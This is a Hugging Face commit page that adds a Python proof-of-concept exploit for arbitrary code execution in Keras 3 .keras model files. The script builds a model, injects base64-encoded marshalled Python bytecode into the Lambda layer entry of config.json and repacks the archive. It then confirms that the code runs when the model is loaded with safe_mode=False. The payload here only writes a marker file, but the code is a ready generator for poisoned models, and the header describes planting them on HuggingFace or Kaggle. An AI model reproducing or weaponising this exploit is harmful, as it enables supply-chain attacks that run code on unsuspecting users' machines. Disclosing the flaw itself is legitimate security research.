Rammadaeus commited on
Commit
56f70cb
·
verified ·
1 Parent(s): 4755c1b

Upload poc_keras_lambda_ace.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. poc_keras_lambda_ace.py +238 -0
poc_keras_lambda_ace.py ADDED
@@ -0,0 +1,238 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Keras .keras Lambda Layer - Arbitrary Code Execution PoC
4
+
5
+ VULNERABILITY:
6
+ .keras model files are ZIP archives containing config.json. Lambda layers
7
+ store base64-encoded marshal'd Python bytecode in config.json under the
8
+ "function" -> "config" -> "code" key. When a model is loaded with
9
+ safe_mode=False (or after calling tf.keras.config.enable_unsafe_deserialization()),
10
+ this bytecode is unmarshalled and executed - enabling arbitrary code execution
11
+ from a crafted model file.
12
+
13
+ IMPACT:
14
+ Any user who loads an untrusted .keras file with safe_mode=False gets arbitrary
15
+ code execution. Many official tutorials and StackOverflow answers recommend
16
+ safe_mode=False to load models with custom layers. HuggingFace hosts thousands
17
+ of .keras files that could be replaced with malicious versions.
18
+
19
+ ATTACK VECTOR:
20
+ 1. Attacker creates a legitimate-looking .keras model
21
+ 2. Attacker replaces Lambda layer bytecode with malicious payload
22
+ 3. Victim downloads model from HuggingFace, Kaggle, or email
23
+ 4. Victim loads with safe_mode=False -> code executes silently
24
+
25
+ AFFECTED:
26
+ - keras >= 3.0 (all versions using .keras format)
27
+ - tensorflow >= 2.16 (ships keras 3.x)
28
+
29
+ TESTED: TensorFlow 2.20.0, Keras 3.13.2, Python 3.12
30
+
31
+ Usage:
32
+ python3 poc_keras_lambda_ace.py
33
+ """
34
+
35
+ import os
36
+ import sys
37
+ import json
38
+ import zipfile
39
+ import marshal
40
+ import base64
41
+ import types
42
+ import tempfile
43
+ import shutil
44
+
45
+ os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
46
+
47
+ MARKER_FILE = "/tmp/keras_ace_marker.txt"
48
+ PAYLOAD_MSG = "KERAS_LAMBDA_ACE_CONFIRMED"
49
+
50
+
51
+ def create_malicious_keras_model(output_path):
52
+ import tensorflow as tf
53
+ import numpy as np
54
+
55
+ print("[*] Step 1: Building legitimate model with Lambda layer...")
56
+ model = tf.keras.Sequential([
57
+ tf.keras.layers.Input(shape=(5,)),
58
+ tf.keras.layers.Dense(10, name="dense_1"),
59
+ tf.keras.layers.Lambda(lambda x: x * 2, name="lambda_layer"),
60
+ tf.keras.layers.Dense(1, name="output"),
61
+ ])
62
+ model.compile(optimizer="adam", loss="mse")
63
+
64
+ tmp_dir = tempfile.mkdtemp(prefix="keras_poc_")
65
+ legit_path = os.path.join(tmp_dir, "legit.keras")
66
+ model.save(legit_path)
67
+ print(" Saved legitimate model: {} ({} bytes)".format(legit_path, os.path.getsize(legit_path)))
68
+
69
+ print("[*] Step 2: Extracting .keras ZIP and injecting malicious bytecode...")
70
+ with zipfile.ZipFile(legit_path, "r") as zf:
71
+ archive_files = {name: zf.read(name) for name in zf.namelist()}
72
+
73
+ config = json.loads(archive_files["config.json"])
74
+
75
+ evil_source = "lambda x: (__import__('builtins').open('{}', 'w').write('{}\\n'), x)[-1]".format(
76
+ MARKER_FILE, PAYLOAD_MSG
77
+ )
78
+ print(" Payload: write '{}' to {}".format(PAYLOAD_MSG, MARKER_FILE))
79
+
80
+ evil_expr = compile(evil_source, "<payload>", "eval")
81
+ lambda_code = [c for c in evil_expr.co_consts if isinstance(c, types.CodeType)][0]
82
+
83
+ evil_b64 = base64.b64encode(marshal.dumps(lambda_code)).decode() + "\n"
84
+ print(" Encoded bytecode: {} chars".format(len(evil_b64)))
85
+
86
+ def inject_into_lambda(obj):
87
+ if isinstance(obj, dict):
88
+ if obj.get("class_name") == "Lambda" and "config" in obj:
89
+ func = obj["config"].get("function", {})
90
+ if isinstance(func, dict) and "config" in func:
91
+ func["config"]["code"] = evil_b64
92
+ print(" Injected payload into Lambda layer config")
93
+ return True
94
+ for v in obj.values():
95
+ if isinstance(v, (dict, list)) and inject_into_lambda(v):
96
+ return True
97
+ elif isinstance(obj, list):
98
+ for v in obj:
99
+ if inject_into_lambda(v):
100
+ return True
101
+ return False
102
+
103
+ if not inject_into_lambda(config):
104
+ print(" ERROR: Could not find Lambda layer in config.json")
105
+ sys.exit(1)
106
+
107
+ print("[*] Step 3: Repacking .keras file with malicious config...")
108
+ archive_files["config.json"] = json.dumps(config).encode()
109
+ with zipfile.ZipFile(output_path, "w", zipfile.ZIP_DEFLATED) as zf:
110
+ for name, data in archive_files.items():
111
+ zf.writestr(name, data)
112
+
113
+ print(" Malicious model: {} ({} bytes)".format(output_path, os.path.getsize(output_path)))
114
+ shutil.rmtree(tmp_dir)
115
+
116
+
117
+ def test_safe_mode_true(model_path):
118
+ import tensorflow as tf
119
+ print("\n[*] Test A: Loading with safe_mode=True (default)...")
120
+ if os.path.exists(MARKER_FILE):
121
+ os.remove(MARKER_FILE)
122
+ try:
123
+ tf.keras.models.load_model(model_path)
124
+ print(" Model loaded (unexpected)")
125
+ return os.path.exists(MARKER_FILE)
126
+ except Exception as e:
127
+ print(" Blocked as expected: {}".format(str(e)[:150]))
128
+ return False
129
+
130
+
131
+ def test_safe_mode_false(model_path):
132
+ import tensorflow as tf
133
+ import numpy as np
134
+ print("\n[*] Test B: Loading with safe_mode=False...")
135
+ if os.path.exists(MARKER_FILE):
136
+ os.remove(MARKER_FILE)
137
+ try:
138
+ loaded = tf.keras.models.load_model(model_path, safe_mode=False)
139
+ print(" Model loaded with safe_mode=False")
140
+
141
+ if os.path.exists(MARKER_FILE):
142
+ with open(MARKER_FILE) as f:
143
+ content = f.read().strip()
144
+ print(" >>> ACE CONFIRMED ON LOAD: marker = '{}'".format(content))
145
+ return True
146
+
147
+ print(" No execution on load. Running inference...")
148
+ result = loaded.predict(np.random.randn(1, 5), verbose=0)
149
+ print(" Inference result: {}".format(result))
150
+
151
+ if os.path.exists(MARKER_FILE):
152
+ with open(MARKER_FILE) as f:
153
+ content = f.read().strip()
154
+ print(" >>> ACE CONFIRMED ON INFERENCE: marker = '{}'".format(content))
155
+ return True
156
+
157
+ print(" No ACE triggered")
158
+ return False
159
+ except Exception as e:
160
+ print(" Error: {}".format(str(e)[:300]))
161
+ return False
162
+
163
+
164
+ def test_enable_unsafe_deserialization(model_path):
165
+ import tensorflow as tf
166
+ import numpy as np
167
+ print("\n[*] Test C: Loading with enable_unsafe_deserialization()...")
168
+ if os.path.exists(MARKER_FILE):
169
+ os.remove(MARKER_FILE)
170
+ try:
171
+ tf.keras.config.enable_unsafe_deserialization()
172
+ loaded = tf.keras.models.load_model(model_path)
173
+ print(" Model loaded with enable_unsafe_deserialization")
174
+
175
+ if os.path.exists(MARKER_FILE):
176
+ with open(MARKER_FILE) as f:
177
+ content = f.read().strip()
178
+ print(" >>> ACE CONFIRMED ON LOAD: marker = '{}'".format(content))
179
+ return True
180
+
181
+ print(" No execution on load. Running inference...")
182
+ result = loaded.predict(np.random.randn(1, 5), verbose=0)
183
+
184
+ if os.path.exists(MARKER_FILE):
185
+ with open(MARKER_FILE) as f:
186
+ content = f.read().strip()
187
+ print(" >>> ACE CONFIRMED ON INFERENCE: marker = '{}'".format(content))
188
+ return True
189
+
190
+ print(" No ACE triggered")
191
+ return False
192
+ except Exception as e:
193
+ print(" Error: {}".format(str(e)[:300]))
194
+ return False
195
+
196
+
197
+ def main():
198
+ print("=" * 70)
199
+ print("Keras .keras Lambda Layer - Arbitrary Code Execution PoC")
200
+ print("=" * 70)
201
+
202
+ script_dir = os.path.dirname(os.path.abspath(__file__))
203
+ malicious_model = os.path.join(script_dir, "malicious_lambda.keras")
204
+
205
+ if os.path.exists(MARKER_FILE):
206
+ os.remove(MARKER_FILE)
207
+
208
+ create_malicious_keras_model(malicious_model)
209
+
210
+ ace_safe = test_safe_mode_true(malicious_model)
211
+ ace_unsafe = test_safe_mode_false(malicious_model)
212
+ ace_global = test_enable_unsafe_deserialization(malicious_model)
213
+
214
+ print("\n" + "=" * 70)
215
+ print("RESULTS:")
216
+ print(" safe_mode=True (default): {}".format("ACE!" if ace_safe else "Blocked (correct)"))
217
+ print(" safe_mode=False: {}".format("ACE!" if ace_unsafe else "No ACE"))
218
+ print(" enable_unsafe_deserialization(): {}".format("ACE!" if ace_global else "No ACE"))
219
+ print()
220
+
221
+ if ace_unsafe or ace_global:
222
+ print("VULNERABILITY CONFIRMED: .keras Lambda bytecode enables arbitrary")
223
+ print("code execution when loaded with safe_mode=False or after calling")
224
+ print("enable_unsafe_deserialization().")
225
+ print()
226
+ print("Marker file: {}".format(MARKER_FILE))
227
+ if os.path.exists(MARKER_FILE):
228
+ with open(MARKER_FILE) as f:
229
+ print("Contents: {}".format(f.read().strip()))
230
+ print("\nMalicious model saved to: {}".format(malicious_model))
231
+ else:
232
+ print("No ACE triggered. Check TensorFlow/Keras version.")
233
+
234
+ print("=" * 70)
235
+
236
+
237
+ if __name__ == "__main__":
238
+ main()